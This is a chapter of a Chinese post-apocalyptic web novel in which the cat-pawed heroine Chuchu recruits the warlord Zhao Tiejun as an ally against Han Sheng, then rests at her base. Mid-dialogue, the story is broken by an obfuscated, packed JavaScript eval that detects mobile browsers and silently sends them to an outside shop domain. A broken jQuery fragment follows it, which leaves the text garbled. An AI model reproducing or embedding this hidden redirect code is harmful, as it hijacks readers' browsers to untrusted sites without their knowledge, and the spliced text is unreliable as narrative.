城南,铁血军团。说是军团,其实就是一个废弃的物流园。巨大的仓库、高高的货架、生锈的传送带,还有几辆翻倒的叉车。围墙是用集装箱垒起来的,两层高,缝隙里填了水泥,上面拉着铁丝网。大门口站着两个守卫,穿着迷彩服,手里拿着步枪,枪口朝下,但手指扣在扳机护圈外面。他们看到楚楚和铁手走过来,交换了一个眼神,然后一个人转身进去了,另一个人继续站岗。
楚楚带着铁手来见赵铁军。不是“请”来的,是“跟”来的。铁手听说她要来找赵铁军,沉默了一瞬,然后说“我跟你去”。她问他为什么,他说“我想看看他”。她没有追问,因为她也想看看——两个力量系、两个壮汉、两个光头、两个满脸横肉的人站在一起,会是什么样子。
物流园很大,走了好几分钟才到赵铁军的办公室。办公室是用一个集装箱改的,里面有一张桌子、一把椅子、一张行军床、一个哑铃架。哑铃架上放着几个不同重量的哑铃,最大的那个上面落了一层灰,好久没人用了。赵铁军坐在椅子上,穿着一件黑色的背心,露出粗壮的手臂和胸口。他的光头在日光灯下反着光,像一颗被打磨过的鹅卵石。脸上的横肉是横着长的,从颧骨到下颌,一层一层地叠着,像一块被压扁的千层饼。他看起来四十多岁,但手臂上的肌肉线条比很多年轻人还清晰。
楚楚站在门口,没有进去。铁手站在她身后,也没有进去。她的猫爪从袖子里伸出来,搭在门框上。她的声音不大,但很清楚。“赵团长,我是平安堡的楚楚。”
赵铁军抬起头,上下打量了她一眼。他的目光在她的脸上停了一下,在她右手的猫爪上停了一下,在她身后的铁手身上停了一下。他的嘴角动了一下,不是“笑”,是“有意思”的弧度。“变形系的?”他的声音很大,像一个人在敲鼓。
“对。”楚楚的猫爪在门框上按了一下。
“来找我做什么?”赵铁军靠在椅背上,双手交叉放在肚子上。他的肚子不是啤酒肚,是肌肉,硬邦邦的,像一块铁板。
“谈合作。”楚楚的猫爪又按了一下。
赵铁军看着她的猫爪,沉默了一瞬。“不感兴趣。”他的声音没有起伏,但楚楚注意到他的手指在肚子上轻轻敲了两下——那是他在思考。
楚楚走进来,在椅子上坐下。椅子是铁的,没有垫子,坐上去凉飕飕的。她把猫爪搭在膝盖上,看着赵铁军的眼睛。“韩晟找过你了?”
赵铁军的手指停了一下。他的目光从楚楚的脸上移到铁手的脸上,从铁手的脸上移回楚楚的脸上。他没有说话,但他的沉默就是答案。他找过了。
“他给你什么条件?”楚楚的猫爪在膝盖上按了一下。
赵铁军的手指又动了起来,在肚子上轻轻敲着,一下,两下,三下。“城外的一条物资运输线。”他的声音很低,不是“不好意思”的低,是“我觉得不够但不想说”的低。
“我给你两条。”楚楚的猫爪又按了一下。
赵铁军的眼睛瞪大了。不是“惊讶”的那种瞪,是“你说什么”的那种瞪。他的瞳孔放大了,他的嘴巴微微张开,他的手指不敲了。“两条?”他的声音拔高了半个调。
“对。一条在城南,一条在城西。两条都是深蓝会控制的。如果你帮我打韩晟,这两条运输线归你。”楚楚的语气平静得像在念菜单。
赵铁军沉默了很久。他看着楚楚的眼睛,灰蓝色的,金色的竖瞳,像一只在晒太阳的猫。他又看着铁手的眼睛,深棕色的,平静的,像一潭不会起波澜的水。他看了看自己的手,又看了看铁手的手。两只手,都很粗,都很大,都长满了茧。他的嘴角动了一下。“你是认真的?”他的声音很低。
“我从不开玩笑。”楚楚的猫爪按了最后一下。
赵铁军伸出手。他的手掌很大,手指粗短,指甲剪得很短,很干净。他伸出的不是“握手”的那种伸,是“成交”的那种伸。楚楚握住他的手。猫爪的肉垫按在他的掌心里,留下一个粉色的湿印。他的手很热,像一块被太阳晒过的石头。他的手掌很粗糙,有厚厚的茧,是长期举哑铃留下的。他的手指很有力,握得她的猫爪有点疼。她没有缩,因为她知道这是他表达“我同意了”的方式。
【搞定第三个。】猫爪写道。
楚楚站起来。铁手也站起来。赵铁军看着铁手,铁手看着赵铁军。两个壮汉,两个光头,两个力量系。一个穿着黑色背心,一个光着膀子。一个右肩缠着绷带,一个右臂有纹身。他们看着对方,没有说话。空气在他们之间凝固了,像一块透明的冰。
“你伤还没好?”赵铁军的声音很低。
铁手低下头,看着自己的右肩。绷带上有今天渗出的血,红色的,一小片。“快了。”他的声音也很低。
赵铁军沉默了一瞬。“打韩晟的时候,别死了。”他的声音没有起伏,但语气不是“命令”,是“提醒”。
铁手抬起头,看着赵铁军。“你也是。”他转身走了。脚步声很重,踩在水泥地面上,发出“咚、咚、咚”的声音,像一个在打地基的人。
楚楚跟在后面,走出物流园,走在那条坑坑洼洼的路上。铁手走在前面,步子很大,她跟得很吃力。她用跑的。猫爪在袖子里按了一下。“你认识赵铁军?”她的声音有点喘。
铁手没有回头。“不认识。”他的声音很平静。
“那他为什么叫你‘别死了’?”
铁手沉默了一会儿。“因为我们是同类。力量系,莽夫,光头。他看着我,就像看着自己。他不想看到自己死。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625225|206187||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”他的脚步慢了下来。楚楚跟上来,走在他旁边。她的猫爪在袖子里按了一下,不是“紧张”的按,是“懂了”的按。
他们走进平安堡大门。刘建国在修门槛——这次他用的是新水泥,掺了沙子,掺了胶水,又掺了一点细石子,还掺了一点铁屑。他说“这样应该不会裂了”。赵德厚在食堂窗口探出头,喊了一声“饭热着呢”。林笙从走廊跑过来,消防斧扛在肩上,喊着“怎么样”。陆沉从楼梯走下来,手里拿着一本书,书是电磁学,翻到了“麦克斯韦方程组”那一章。他没有说话,但他的眼睛在问“你没事吧”。顾衍站在走廊尽头,求生刀别在腰间,双手抱胸,闭着眼睛。他的呼吸很轻,很稳。
楚楚走进食堂,在餐桌前坐下。赵德厚端着一碗粥从厨房走出来,放在她面前。粥是小米粥,金黄色的,稠稠的,冒着热气。旁边放着一碟咸菜、一碟花生米、一碟腐乳。楚楚拿起勺子,喝了一口。粥不烫不凉,小米的香味在舌尖上散开,暖暖的。猫爪在桌下按了一下,像是在说“好喝”。她喝完最后一口,放下碗,站起来。走出食堂,走上楼梯,走进302室。躺下来,猫爪在被子上按了按。她闭上眼睛。
赵铁军。力量系,A+级,光头,满脸横肉,莽夫。他和铁手是同类。不是“同类”的那种同类,是“力量系莽夫光头”的那种同类。他们不需要说话,不需要握手,不需要拥抱。只需要对视一眼,就知道对方在想什么。铁手在想“我能打”,赵铁军在说“别死了”。楚楚的猫爪在被子里按了一下。她翻了个身,面朝墙壁。墙壁上还有她写的那些字——“等鱼韩赔铁网梦鱼杀等疑信防狼猎”。十五个字,歪歪扭扭的,并排站在白色的墙壁上。她用猫爪在“猎”字旁边又写了一个字——“赵”。“等鱼韩赔铁网梦鱼杀等疑信防狼猎赵”。十六个字,像十六个人在等人。赵。她今天搞定了赵铁军。三个帮手,狼王、猎手、赵铁军。加上顾深、慕容晴、铁手。六个势力,六个人。她的网越织越大,猎物越收越多。她睁开眼睛,看着天花板。天花板上有一条裂缝,从墙角延伸到灯座,像一条干涸的河流。她盯着那条裂缝,猫爪在被子里按了最后一下,像是在说“晚安”。她弯了弯嘴角,睡着了。窗外,月亮从云层的缝隙里露出来,银白色的光照在她的脸上。平安堡的灯一盏一盏地熄灭了。手电筒的白光灭了,应急灯的暖黄灭了,余舟异能荧光的淡蓝也灭了。几十盏灯,一盏一盏地灭了。最后剩下的一盏灯是302室窗户透出来的光,不是手电筒,不是应急灯,不是异能荧光。是月亮。月亮从窗户照进来,落在那个蜷缩在被子里的人身上,落在她右手的猫爪上,落在墙壁上那十六个歪歪扭扭的字上。赵。她今天搞定了赵铁军。明天,她会搞定韩晟。不是“搞定”,是“打”。不是“打”,是“赢”。